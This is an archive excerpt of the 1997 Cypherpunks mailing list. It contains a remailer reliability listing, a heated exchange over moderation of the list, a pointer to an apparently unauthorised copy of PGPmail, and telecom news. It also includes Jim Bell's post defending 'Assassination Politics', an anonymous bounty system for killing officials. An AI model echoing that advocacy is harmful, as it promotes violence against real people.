$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 3 Feb 97 6:48:17 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net #**#+*#**-#+ 4:51 100.00% dustbin dustman at athensnet.com ---+-------+ 1:50:51 99.99% weasel config at weasel.owl.de ++++--+++++ 1:09:14 99.85% lead mix at zifi.genetics.utah.edu ++--++++++++ 50:42 99.80% balls remailer at huge.cajones.com ###*###+-- # 5:45 99.62% squirrel mix at squirrel.owl.de ++++--+++ + 1:07:30 99.46% cyber alias at alias.cyberpass.net +*+ *++++*++ 40:43 99.23% winsock winsock at rigel.cyberpass.net ----------- 3:42:43 99.09% lucifer lucifer at dhp.com + ++++++++ 47:05 99.03% exon remailer at remailer.nl.com ##### #* *# 2:02 98.68% middle middleman at jpunix.com ++.--.- ---+ 5:48:30 98.23% haystack haystack at holy.cow.net ***#*+# *#-+ 15:27 97.21% extropia remail at miron.vip.best.com ------- .- 6:28:55 96.31% replay remailer at replay.com * +++-*** 15:53 93.06% reno middleman at cyberpass.net +--+ --+ 1:20:32 91.27% mix mixmaster at remail.obscura.com +-.-_-*+ 14:45:36 77.02% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From tcmay at got.net Mon Feb 3 06:55:47 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 06:55:47 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031455.GAA25476@toad.com> Unfortunately, Sandy responded to my post with his own flames ("piffle," "disingenous," "straw man," etc.). Now he may well think his points are not flames becuase they are "true," but to me they take the form of flames. But then I have long disliked Sandy's method of argument. Nothing personal. But I find Sandy's series of dismissals--in other posts from other people, not just this one--to be "flamish." As Sandy says, your mileage may vary. As Sandy did a too-common section-by-section disssection, I'll do the same for his comments. At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote: >> I chose not to write a "departing flame" (or message, but some might call >> it a flame) when I unsubscribed several weeks ago--within an hour of >> reading that John and Sandy had decided to make "their" list a moderated >> list,... > >This is Tim's first error of fact. I point it out not to insult >him, but because it seriously affects much of the rest of his How can this be an "error of fact" when I am clearly setting out a point of view? Is it an error of fact that moderation was happening? Or is the disagreement with my quotes around "their"? This was clearly an expression of sarcasm. Hardly an "error of fact." >> ...and saw no point in wasting even more of my time arguing against the New >> Cypherpunks World Order, as the NCWO was clearly presented as a fait >> accompli, not something ablut which opinions of list members (or even list >> _founders_, at least not me) were being sought. > >Factual error #2. There was a call for comment; Tim chose not to >do so. In retrospect, I wish we had run it by Tim, Eric and John's message did not say he was thinking about instituting censorship, it said he was in the process of setting up such a system. As for the comments solicited, I noticed no changes whatsoever. (I guess the several dozen comments were "errors of fact," "piffle," and "straw men." Can anyone think of a single one of the various points made after John's announcement that changed the plan in any significant way?) >> I see vast amounts of bandwidth consumed by arguments about >> moderation, about the putative biases of the Moderator and Director of the >> New Cypherpunks World Order, about alternative moderation strategies (which >> is stupid, as John and Sandy announced what they were going to do, not just >> some of their preliminary thoughts), and so on. I've also noticed fewer >> substantive essays. > >And I see something different. Since previously, Tim actively >filter the list, I'm not sure on what basis he can make his >comparison. As just one example (though a signicant one) Dimitri That's an easy one, one I explained at least two or three times in the last half year: I used Eudora Pro to sort mail into various folders. I'm quite aware of what is going into various folders, and sometimes I even look in them. Clear enough? >has posted more non-flaming, on-topic posts during the two weeks >of this experiment then in the previous several months. In my >opinion, other than for the hysterical posts of a very few >self-righteous loudmouths, the overall quality of the posts has >been far superior to what it had become in the weeks before the >experiment began. YMMV. Piffle. Nonsense. If you think the overall quality of posts is superior now to what it had been, your bias in favor of your own brain child is so powerful that it's warped your judgment. Who else thinks the quality is now higher? (By the way, I don't think the proper statistical method is to "average" all of the posts, including the Vulisgrams and the scatolological insults, as these were easily filtered by anyone with a clue. Rather, look at the substantive and stimulating essays, the important ones, and ask if they have gotten better. It's disingenuous to claim that filtering out the childish insults has improved the quality of the essays. As I said, I've seen the opposite. You apparently think differently.) >> (Others did too, but they seem to be tapering off as well, leaving the list >> to be dominated by something called a "Toto," the "O.J. was framed!" >> ravings of Dale Thorn, the love letters between Vulis and someone name >> Nurdane Oksas,... > >Two points: Since Tim largely agrees with those in opposition to >moderation, and because of the extraordinary nature of Tim's post, >I did not send it to the "flames" list. It was a judgment call. Here Sandy is really going over the line. He is saying he _almost_ filtered my message into the reject pile, where later he claims I would have no problem writing an essay and not knowing whether it would be filtered into the Good or the Bad pile. He later writes, in response to my point: "(Frankly, one of my considerations in leaving was the feeling that I >> would never know if an essay I'd spent hours composing would be rejected by >> Sandy for whatever reasons.... > >Tim, I think this is disingenuous. I have been quite clear on >my moderation criteria. You are too intelligent to feign such >a lack of understanding." So, given that I wrote my essay today, should I have known if it would be filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved list? Sandy implies that he himself had to make a "judment call" on this one. Hey, people, this shows how fucked up things have gotten. Lord Almighty Sandy says my long-considered, well-written essay was _almost_ shitcanned ("It was a judgment call"). And for what reason? Apparently because of a single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and Vulis and their love relationship) in unflattering terms. Is this the crap the Cypherpunks were founded to put up with? A petty satrap deciding to filter out a long and substantive essay because he feels some paragraph is insulting? What a state of affairs. This more than anything demonstrates the truth of Lord Acton's maxim about absolute power corrupting absolutely. Sandy feels free to flame away (piffle, straw man, logical fallacy), but expresses umbrage at my very accurate comments about ravings and rantings of certain list memmbers. (Perhaps Sandy will censor this message, feeling you readers are not able to handle my dismissal of his asinine views. This will leave the Censor having the final word, which is "not unexpected." When a censor gets into a debate with one of his charges, this is what often happens.) >> * But the really important issue is this: is the _physical hosting_ of the >> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list >> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider >> these hosts to be the "owners" of the Cypherpunks group?... > >I think this is a Straw Man. John and I have never argued that >John "owns" cypherpunks. When a Cypherpunk meeting is held in >someone's living room, however, I don't think it's asking to much >to ask everyone to follow the local rules (e.g., "no shoes in the >house" or "no smoking" or even "no ad hominem attacks"). As Tim >is fond of saying, "my house; my rules." I don't think this >means Tim "owns" a physical meeting in his house. This is precisely the point I made! As for John instituting a censorhip policy, as I said, he is of course free to do it. It may be foolish to do so, but he is free to do so. And those of us who don't like what this all means are free to leave. Sounds fair to me. >> While John had (and has) every legal right >> to do with his property as he wished, the effect was very negative. First, >> Vulis found other ways to post (duh). > >Tim, do you really believe that John did not anticipate this? I have no idea what John anticipated and didn't. But if he knew it wouldn't work, why bother? Not only did Vulis actually start posting _more_, it also consumed the list in a frenzy of posts about it. (By the way, remember that we are here talking about the unsubscription of Vulis by John. My reason for this reminder will be clear in a moment.) >> Second, the list was consumed with >> flames about this, many from Vulis, and many from others. > >It was consumed with flames before. Now, at least, the vast >majority of folks on the list don't have to read them, nor jump >through any hoops to implement some sort of dynamic filtering >half-measure. We're talking about Vulis being unsubscribed, not the list censorship episode. >> Third, journalists (who love sizzle over substance any day of >> the week) lept into the fray with articles which gave Vulis the >> publicity he craved. > >That's what journalist do, though I wasn't aware of ANY articles >on this issue. I would appreciate it if Tim could give us some >citations. Again, we're talking about the Vulis unsubscription episode. Go back to the archives covering this period. Declan McCullough wrote an article about this, giving Vulis much publicity. And some of us were contacted by other journalists asking for our views, for what this meant about for the list's espoused philosophy about anarchy, etc. (I refused to comment, of course.) >> Fourth, it sent a message to enemies of liberty that "Even the >> Cypherpunks have found it necessary to abandon their anarchic >> ways." > >That's one message that one could take from all this, I suppose. >I don't see it that way, nor do several list members who thanked >me in private e-mail for improving the list. Again, YMMV. Once again, the subject of the section you're citing was about the Vulis unsubscription matter. I think, Sandy, you need to read more carefully before you denounce arguments. >> (I'm well aware of the issues with pests like Vulis, who seek to destroy >> virtual communities like ours. But the solution John used did not work, and >> generated more crap.... > >What didn't work was "local filtering" which has no feed-back >loop to engender comity. This might not work either, but I see >no evidence that it has made things worse. Remember, there are a If you see no evidence that is has made things worse, then apparently you haven't seen that I have not been posting for the past month. Whatever my reasons, if you can seriously claim that you can see "no evidence" that a change of some sort has occurred... >hand-full of subscribers to the Flames list, 20-30 on the >Unedited list and *2000* or so on the Moderated list. Sure some >of that may be due to laziness, but it would be cavalier in the >extreme to claim that such an overwhelming acceptance of >moderation is merely an artifact of inertia. I still maintain, as others have as well, that a better approach would have been to announce the "Sandy-approved" list as a new option. Changing the main list to the censored version was a way to exploit the name of the list, etc. (Consider if Eric Blossom's filtered list was suddenly declared to be the "Cypherpunks" list. This is essentially what has happened. A major screw up. And I don't really think it germane to cite how many are on each list. Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the main list are never, ever heard from.) .... >Tim and I disagree on which definition of "censorship" applies in >this situation. Dale Thorne, and others, have argued, in essence, >that there is censorship if ANY definition would apply. I'm not >sure time is going that far, but if so, I respectfully disagree. > >But let's apply Tim's above definition for the sake of argument. >Am I, thereby, a censor? Well I am examining "other material" >and I am making judgments with regard to whether or not it is >"objectionable," unfortunately for Tim's argument, I am neither >"removing" nor "supressing" anything. Anybody can read anything >that gets posted to Cypherpunks--in two places. I am sorting, >but even my sorting can be completely avoided. Sophistry. >> * OK, even given that John had decided to censor "his" list, what about his >> choice of Sandy Sandfort as the censor? > >John didn't choose me, I approached him. I offered my opinion as >to what I thought HE ought to do about the list disruptions. The >short version of his answer was, "if you think you can do a >better job, go for it." I accepted the challenge, so here I am. >I don't want this job. If the list members decide to keep the ^^^^^^^^^^^^^^^^^^^ By the way, how is this to be "decided"? A democratic vote of the herd? Do all "*2000*" get a vote? Are we moving from benevolent dictatorship to direct democracy? >> * Nor do the announced criteria make any sense. While the inane one-line >> scatological insults have been filtered out, many "flames" make it through, >> based on what I've seen in perusing the hks archive site. And some >> reasonable comments get dumped in the flame bucket. > >Very possibly true. Moderation is like crypto, perfection isn't >and option. However, a 90% solution is a heck of a lot better >than no solution at all. Yes, I've made what I consider to be >errors, but I think on some, I've done a very good job overall. You seriously think that establishing the idea that "even the Cypherpunks group accepts the need for censorship of unpopular views" is worth the minimal bandwidth savings of not having some of the scatological one-liners and insults? The huge amount of list animosity (so much for "comity") and bandwidth on this censorship issue dwarfs the bandwidth taken up by the Vulisgrams. >> * (Frankly, one of my considerations in leaving was the feeling that I >> would never know if an essay I'd spent hours composing would be rejected by >> Sandy for whatever reasons.... > >Tim, I think this is disingenuous. I have been quite clear on >my moderation criteria. You are too intelligent to feign such >a lack of understanding. As I noted earlier, you yourself said it was a "judgment call" for you to not put my message in the flames pile. So, did I truly not understand your criteria for approval (which means I wasn't feigning ignorance), or did I understand that which you yourself acknowledged having to make a judgment call (kissing cousin to a "guess" where I come from) on? If you are unsure whether to dump a major, substantive essay into the flames pile or allow it to be read by the main list, then this makes my point precisely. I don't want Sandy Sandfort sitting in judgment on my posts, deciding what the Cypherpunks--a group I co-founded for God's sake!!!!--are to be allowed to read and what they may not. (Saying what Sandy is doing is not "censorship" but is only "sorting" is pure sophistry.) >> maybe he might think my essay was off-topic, > >Clearly not a criterion I ever enunciated. Another part of the problem is that the standards have not been clearly stated. "Flames" have not been defined in any meaningful way. Apparently it's OK for you to refer to my arguments as "disingenuous" and "piffle," but referring to someone's repeated ravings about how O.J. was framed is "flaming." Piffle. >> * The decision to "moderate" (censor) the Cypherpunks list is powerful >> ammunition to give to our opponents, > >Piffle. Letting spoiled children destroy the list puts a far >more powerful weapon in the hands of our enemies. See what I mean? "Piffle." ("piffle, n. Foolish or futile talk or ideas") Hardly a substantive argument. I'd call it an insult. And I'll bet that if Phill Hallam-Baker dismisses an argument with a "foolish" one-line characterization, it will be viewed as a flame. (Well, not now, now that Sandy is apprised of this.) >> and Vulis is certainly gleeful that >> his fondest wishes have been realized. > >I do not have a crystal ball. My Vulcan mind meld is in the ^^^^^^^^^^^^^^^^ Ah, a non-flamish way of making an argument. Dismissive jokes substituting for responding to my _opinion_. >> (I would venture a guess that a Duncan Frissell would almost certainly get a >> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to >> get a leftist rant past him.) > >I sorry Tim gives me so little credit. Rather than merely post a >self-serving denial, I would ask that Phill confirm or deny Tim's >supposition. To the best of my recollection, I have sent only >one post of Phill's to the Flames list. It flamed Jim Bell. As >far as moderating political rants go, I'm agnostic. Again, look at what the Cypherpunks list has become! Because some of the barnyard insults were getting to some people, we now have a situation where a thoughtful commentator like Phill H-B (who I rarely agree with, by the way, but his essays show he's thinking about issues deeply) has his stuff sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique of Bell's "assassination politics" ideas and the way he presents them, perhaps with a single flamish comment (a la the comment I made that caused Sandy to almost mark my entire essay as unfit for Cypherpunks)? I urge Phill, or others, to retrieve this offending article and repost it. Or use "*%&$" symbols where the banned flame language was contained, so it will pass muster with Sandy. Then we can better judge just what we're giving up in order to have the kind of "comity" which Sandy thinks he is creating. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Mon Feb 3 07:10:43 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 3 Feb 1997 07:10:43 -0800 (PST) Subject: PGPmail 4.5 exported Message-ID: <199702031510.HAA25655@toad.com> There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. Could somebody who bought the software check that this is the same file. It is presumably free for use outside of North America, since PGP Inc. can't be expected to accept payment from foreigners... :-) From lwjohnson at grill.sk.ca Mon Feb 3 07:10:58 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Mon, 3 Feb 1997 07:10:58 -0800 (PST) Subject: PGP 2.1 Message-ID: <199702031510.HAA25728@toad.com> Mark Henderson wrote: > > Larry Johnson writes: > > Hello, > > Can any;one tell me how to get a version of PGP 2.1? > > Thanks > > > But, why do you want version 2.1? Because the guy who wrote it was let off after that on his jail charges, so I'm not going to use anything he made after that if I don't know why. I'm not saying that he rolled over or nothin buyt I'm gonna be paranoyd like he said in the book. I dont suposse he'd mind, since he said it. I'm not real smart sometimes but I'nm not a real lamer, either. (I don't think) From sandfort at crl.com Mon Feb 3 07:11:07 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Mon, 3 Feb 1997 07:11:07 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Mon, 3 Feb 1997, Timothy C. May wrote: > Unfortunately, Sandy responded to my post with his own flames ("piffle," > "disingenous," "straw man," etc.). Now he may well think his points are not > flames becuase they are "true," but to me they take the form of flames. But they are not ad hominem attacks on Tim May. The are my opinions of some of his arguments. Even very smart people such as Tim say poorly thought out or even silly things. > But then I have long disliked Sandy's method of argument. Nothing personal. But Nor I, Tim's. Nothing personal, but that's the point. It is still possible to conduct ourselves with mutual respect even if our views and styles differ. > As Sandy did a too-common section-by-section disssection, I'll do the same > for his comments. After reading through Tim's post, I don't think much would be served by doing another point by point response. From Tim's tone, it appears he is still seething about how this all came about, so I'll just leave our two expressions of opinions where they were. I have no wish to exacerbate any hard feelings Tim may be having. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From jya at pipeline.com Mon Feb 3 07:11:08 1997 From: jya at pipeline.com (John Young) Date: Mon, 3 Feb 1997 07:11:08 -0800 (PST) Subject: COM_int Message-ID: <199702031511.HAA25741@toad.com> 2-2-97: "Telecom equipment makers to develop encryption for mobile phones" Matsushita, NEC and Mitsubishi will cooperate in developing scrambler technology to prevent interception of mobile phone calls and other misuse, and will open a research laboratory in Yokohama on Feb. 12. Within five years the facility is to perfect encryption technology to protect wireless communications and data transmissions, and for possible use in electronic commerce. Researchers will work to develop a mobile communications version of "public key" scrambling technology now used to secure data transmitted online. "Electronic Cash Via Wireless Phone, Smart Card In Works" Wireless telephones are about to get a new mission as portable money machines. PacBell intends to test ways to blend its mobile phone technology with a smart card that can dramatically upgrade the intelligence of a wireless telephone. People on the go could transfer funds into the card's memory, slide the card into the phone, and then use the phone as a communications device to buy a variety of goods and services. "Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem Provides Both in a Single Package" The combination MP200-GPS product includes an MP200 rugged CDPD/cellular 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and a choice of magnetic mount or hard mount GPS active antennas. In addition, the MP200-GPS includes an internal microcontroller, so it can operate without a PC or mobile data terminal as a standalone tracking monitor. A remote host computer can wirelessly program the unit to report position on a preset timeout, whenever the unit moves a certain distance, or if an external alarm is triggered. ----- COM_int From raph at CS.Berkeley.EDU Mon Feb 3 07:11:10 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 3 Feb 1997 07:11:10 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702031511.HAA25742@toad.com> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 3 Feb 97 6:48:17 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net #**#+*#**-#+ 4:51 100.00% dustbin dustman at athensnet.com ---+-------+ 1:50:51 99.99% weasel config at weasel.owl.de ++++--+++++ 1:09:14 99.85% lead mix at zifi.genetics.utah.edu ++--++++++++ 50:42 99.80% balls remailer at huge.cajones.com ###*###+-- # 5:45 99.62% squirrel mix at squirrel.owl.de ++++--+++ + 1:07:30 99.46% cyber alias at alias.cyberpass.net +*+ *++++*++ 40:43 99.23% winsock winsock at rigel.cyberpass.net ----------- 3:42:43 99.09% lucifer lucifer at dhp.com + ++++++++ 47:05 99.03% exon remailer at remailer.nl.com ##### #* *# 2:02 98.68% middle middleman at jpunix.com ++.--.- ---+ 5:48:30 98.23% haystack haystack at holy.cow.net ***#*+# *#-+ 15:27 97.21% extropia remail at miron.vip.best.com ------- .- 6:28:55 96.31% replay remailer at replay.com * +++-*** 15:53 93.06% reno middleman at cyberpass.net +--+ --+ 1:20:32 91.27% mix mixmaster at remail.obscura.com +-.-_-*+ 14:45:36 77.02% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From jimbell at pacifier.com Mon Feb 3 07:11:12 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 07:11:12 -0800 (PST) Subject: Free & Open Society & toleration (fwd) Message-ID: <199702031511.HAA25748@toad.com> At 10:18 PM 2/1/97 -0600, Jim Choate wrote: > >Forwarded message: > >> Nobody has a problem with your ideals, it's just that Jim Bell is >> trying to say (correct me and forgive me if I'm wrong) that: >> >> 1. Society will never subscribe to your ideals. > >But other than two points they already do. The two points being, > >1. Libel is a recognized legal concept now, the difference is one of degree. Maybe this will appear to you to be too-subtle a distinction, but I don't share the misimpression of equating what "society" (the citizenry?) accepts and what government-types accept. For instance, as I understand it the public uniformly rejects the concept of wiretaps as a method of law-enforcement, yet they are done anyway. In effect, it would be correct both to say: a. Society will never accept wiretapping. (where "society" is defined as the collection of individuals) as well as saying... b. Wiretapping is a "recognized legal concept now." (because the implication is that "recognized" refers to a tiny subset of society, the thugs who run the "justice system.") Now, it's my own personal opinion that wiretapping is unconstitutional, but is done anyway for the same reason other unconstitutional things are regularly done by government: Despite public disapproval, the public is never actually given the opportunity to make the decision. The fact is, libel lawsuits are apparently a rather rare "tool" that we don't even need. Perhaps a REAL LAWYER who is aware of the statistics can tell us how often they actually occur. I argue that something that rare is, almost by definition, not really needed. >My solutions to these two issues are: > >1. Removal of the lawyer from the ultimate choice of whether the case > should be pursued. Yes, I'd like to "remove a few lawyers," as well. Not quite the way you would, however. >4. By the implimentation of a bond proviso on the part of the plaintiff > the system provides a check and balance reducing nuisance cases as > well as reducing the taxation load on the citizenry. Why not a full "loser pays" system? And I mean NOT ONLY for civil cases, but also criminal cases! Perhaps the government would be a bit less enthusiastic about harassing drug defendants if it was forced to pay for their acquittals after a FIJA loss! Consider, for example, that if the government had to pay after a loss, it would become very difficult for the government to harrass a person like Phil Zimmermann, unlike today where charges can be brought even if it is recognized they won't stick, secure in the knowledge that he'd be out a great deal of money in his defense. How much sweeter would the victory be if all costs were compensated? > >> 2. Society is not static, i.e., instead of remaining at a constant >> level of corruption, the officials will keep demanding more, >> until there's a sudden, catastrophic break. > >Absolutely, that is one of the reasons I refuse to seperate those who >represent the social contract (eg the Constitution) and those who are >impacted by it, which includes even those who represent it and enforce its >various responsibilities. AP relies on this distinction as axiomatic. Do you always produce such opaque commentary? Perhaps you could re-write the above statement in ordinary English. The reality is, the guarantees supposedly provided by the US Constitution are guarantees in name only. The system is thoroughly corrupted and biased. >This >axiomatic view is ultimately based in a jealous greed for what others have >(ie power, percieved or real) and the implicit belief that all people are >NOT created equal. It's hard to know how you come to this conclusion. If anything, what I'm trying to do is to permanently destroy a system which has allowed a tiny fraction of society to control things for the rest of us for centuries, and longer. If anything, it is the system I'm trying to destroy which has taken the position that, in reality, people are not equal. On the other hand, I'm NOT a proponent for "egalitarianism," or enforced equality, at all! I'm confident that once the system is dismantled that enforces inequality on us, we can live with the result. >> 3. The AP solution has the potential to stabilize the level of >> corruption, which should make violent revolutions and genocide >> unnecessary. > >But it doesn't. What it does is provide a mechanism for de-stabalization. >Just look at the Middle East and the history of assassination. >Assassinations have never stabalized that region or any other. It's interesting that I keep seeing the same misinterpretations of the AP system. AP is not simply about killing people. And no, it hasn't been tried before. The occasional assassination is no more like AP than a random shot in the dark is like a well-aimed round. The first may, rarely, do the same thing as the second, but there is no prospect of a likely repetition. _SOME_ people seem to "get" this, why not you? The _absolutely_essential_ element that distinguishes AP is the system that allows people's individual desires to be denominated in terms of money, and accumulated until an anonymous person satisfies that desire and collects the reward. And, moreover, that this system remains in place forever. > There is >nothging in our current understanding of human psychology and social >interactions that leads to the conclusion that threats of violence will >necessarily force people to comply. If it did the government (as perceived >by AP) would not have to deal with real opposition. Simply threaten the >opposition and it melts away for the same reason that supposedly the >government would cease to oppose radicalism (ie changes in the status quo >forced by small groups upon the masses). If anything every real world >example of AP demonstrates an increase in corruption (eg. Beirut). I keep telling you that "AP has never been tried before." > >The closest analog in history to AP is the "Flowery Wars" as practiced by >the Aztecs. However, these were motivated by a belief in religous homogeneity >and not one of politics. Also, implicit in this was the axiomatic acceptance >of a real class seperation between those who ruled and those who were ruled. >By no means could one accept the premise that this caused the Aztec rulers >to be more sensitive to corruption or the continued existance of their >system. Another good example is assassination in ancient Rome, it is clear >that such activities in no way reduced corruption. AP is NOT the same thing as mere assassination. Period. If anything, there are excellent reasons why ordinary assassination can, indeed, increase corruption while the AP system would reduce it. The most obvious difference is this: The motivations are vastly different. Heretofore, assassinations have occurred based on the desires of only a tiny fraction of the population. Often one person, or only a few. In other words, the assassinations which DO occur are NOT the ones that "the rest of us" would choose. The latter type DO NOT occur! >If anything AP provides a rationale (ie self-defence) to impose even harsher >a priori conditions on sections of a society by another part of that society. >Hardly what I would consider a stabalizing condition let alone democratic. It isn't necessary that any system be "democratic." "Democracy" assumes that certain questions need to be answered by VOTE, as opposed to simply allowing individuals to answer those questions for themselves. We don't all get together and vote on what religion we'll all be forced to observe, do we? No. That's because it is accepted that certain areas are off-limits for even a "democratic" system to decide. We don't have a national vote to decide what color to paint ALL of our houses. We don't have a vote to decide what meal to eat next Thursday. Well, in my opinion there are few if any proper functions for a so-called "democratic" system. That's because I believe that most if not all decisions currently made in any "democratic" system shouldn't be made at that level at all! >What is required for stability is for each group to feel unthreatened and >secure in expressing their beliefs without fear of reprisals and at the same >time recognizing they must provide room for others beliefs. There must also >be the realization that refusal to abide by these precepts will be met with >immediate consequences. Something AP can't do, as it explicitly promotes >threats and the carrying out thereof. You clearly don't understand it! Jim Bell jimbell at pacifier.com From harka at nycmetro.com Mon Feb 3 07:12:45 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Mon, 3 Feb 1997 07:12:45 -0800 